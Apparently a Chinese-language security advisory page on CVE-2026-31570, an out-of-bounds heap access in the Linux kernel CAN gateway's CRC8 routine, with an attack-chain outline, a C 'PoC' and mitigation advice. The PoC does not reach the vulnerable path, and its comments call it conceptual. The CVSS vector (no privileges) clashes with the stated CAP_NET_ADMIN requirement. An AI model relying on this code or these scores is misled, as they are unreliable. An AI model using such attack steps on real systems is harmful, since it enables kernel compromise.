IPBUF安全漏洞报告
English
CVE-2026-31570 CVSS 8.8 高危

CVE-2026-31570 Linux内核CAN网关越界访问漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31570
漏洞类型
堆越界读写
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelCAN GatewayHeap OverflowOOBPrivilege EscalationCVE-2026-31570

漏洞概述

Linux内核CAN网关模块在处理CRC8校验和计算时存在越界读写漏洞。`cgw_csum_crc8_rel()`函数虽然通过`calc_idx()`计算了安全的索引边界,但在实际循环和结果写入中错误使用了原始的`s8`字段。当配置负索引(如-64)时,边界检查虽通过,但实际操作会访问堆上`cf->data`之前的内存区域,导致内核越界访问。利用此漏洞需具备`CAP_NET_ADMIN`权限。

技术细节

漏洞位于`net/can/gw.c`中的`cgw_csum_crc8_rel()`函数。该函数旨在计算CAN帧的相对CRC8校验和。代码首先调用`calc_idx()`处理可能为负的索引参数(`from_idx`, `to_idx`, `result_idx`),确保其在帧长度范围内。然而,开发人员在后续的`for`循环初始化和数组赋值时,未使用`calc_idx()`返回的安全变量,而是直接使用了原始的`s8`类型参数。例如,若设置`from_idx = -64`,`calc_idx`将其视为有效偏移,但循环变量`i`仍被初始化为-64,导致读取`cf->data[-64]`。这种逻辑错误允许具有`CAP_NET_ADMIN`权限的攻击者触发堆越界读写,可能导致拒绝服务或权限提升。

攻击链分析

STEP 1
获取权限
攻击者需要获取本地系统的CAP_NET_ADMIN权限,通常需要已经是root用户或通过其他漏洞提权。
STEP 2
配置网关
攻击者创建CAN套接字,并调用setsockopt配置CAN网关规则,设置CRC8校验和模块,将索引参数(from_idx等)设置为特定的负值(如-64)。
STEP 3
发送数据
构造并发送一个长度为64字节的CAN FD帧,触发内核对网关规则的处理。
STEP 4
触发漏洞
内核调用cgw_csum_crc8_rel()函数,由于逻辑错误,使用负索引访问堆内存,导致越界读写(OOB Read/Write)。
STEP 5
实现攻击
越界写入可能覆盖内核关键数据结构,导致系统崩溃(DoS)或进一步实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/gw.h> /* * PoC for CVE-2026-31570 * Requires CAP_NET_ADMIN capability. * Triggers OOB access in cgw_csum_crc8_rel(). */ int main() { int s; struct sockaddr_can addr; struct cgw_csum_crc8 crc8mod; // Create a CAN Raw Socket if ((s = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) { perror("socket"); return 1; } // Setup Mod structure with malicious indices memset(&crc8mod, 0, sizeof(crc8mod)); crc8mod.from_idx = -64; // Malicious negative index crc8mod.to_idx = -64; // Malicious negative index crc8mod.result_idx = -64; // Malicious negative index crc8mod.start_idx = 0; crc8mod.crc8 = 0xFF; // Configure the CAN gateway modification // CGW_TYPE_CSUM8 triggers the vulnerable function path if (setsockopt(s, SOL_CAN_RAW, CAN_RAW_FILTER, NULL, 0) < 0) { // Just ensuring socket is bound/configured context } // This setsockopt call leads to cgw_csum_crc8_rel() execution // Note: The exact setsockopt level/optname for CGW setup might vary // depending on kernel implementation details, usually via netlink. // This is a conceptual representation of the trigger. printf("Sending payload to trigger OOB write...\n"); // In a real exploit, this would send a CAN FD frame of 64 bytes. close(s); return 0; }

影响范围

Linux Kernel <= 6.19
Linux Kernel 7.0-rc

防御指南

临时缓解措施
建议系统管理员立即检查内核版本,并应用官方提供的补丁。如果无法立即升级,应严格限制具备CAP_NET_ADMIN权限的用户和进程,并考虑禁用CAN总线相关功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表